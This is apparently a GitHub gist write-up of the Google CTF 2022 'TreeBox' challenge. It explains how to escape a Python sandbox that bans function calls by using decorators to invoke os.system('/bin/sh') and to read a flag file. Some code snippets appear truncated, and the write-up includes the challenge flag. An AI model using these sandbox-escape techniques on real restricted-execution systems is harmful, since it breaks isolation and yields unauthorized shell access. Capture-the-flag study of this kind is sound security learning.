Skip to content

Instantly share code, notes, and snippets.

Last active July 18, 2022 18:42
Show Gist options
  • Save radl97/c59208a0f57b82148f14fdc07341b9cc to your computer and use it in GitHub Desktop.
Save radl97/c59208a0f57b82148f14fdc07341b9cc to your computer and use it in GitHub Desktop.
Google CTF 2022 Write-up: TreeBox

The challenge filters some methods AST-level: the most pressing was calling a method. Importing was not needed.

It was surprisingly constraining, but the basic idea was to create something that is a function call, but it (basically) does not use parentheses on the source code-level.

Try print(open('flag').read()) or os.system('/bin/sh')...

Idea 1: os is already imported! And only os.system() call needs to be circumvented. (I've checked this.)

Idea 2: Decorators use many functions, and these are called under the hood!

For why it occured to me, see a real-world use, like in Flask-Login: lots of functions, and basically no function calls:

def fresh_login_required(func):
    # etc...
    def decorated_view(*args, **kwargs):
        if ...:
            return current_app.login_manager.unauthorized()
        return func(*args, **kwargs)

    return decorated_view

First try:

def wrapped():

This calls wrapper(wrapped), and leaves that in the place of the original function. This can be used to call something with a single argument.

Hmm, os.system has one argument!

Decorate a variable?


/usr/lib/python3/dist-packages/requests/ RequestsDependencyWarning: urllib3 (1.26.9) or chardet (3.0.4) doesn't match a supported version!
  warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported "
Traceback (most recent call last):
  File "", line 32, in <module>
    tree = compile(source_code, "", 'exec', flags=ast.PyCF_ONLY_AST)
  File "", line 2
SyntaxError: invalid syntax

I can only decorate a function.

Oooor... a decorator!

def fake_wrapper(f):
  return '/bin/sh'

def something():


This was my original solution. CTF{CzeresniaTopolaForsycja}

Bonus solution

When creating this write-up, I have found an other solution.

The basic idea was to use directly open the flag file and print it, so it works non-interactively.

  1. open a file
  2. read from it
  3. print it

This reminds me of a ROP-chain. Anyway...

All single parameter functions! However, .read is a method, and it is not accessible outside of a class. All I had to do was find an already open file, accessible from os:

def fake_wrapper1(f):
  return ''

def something():

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment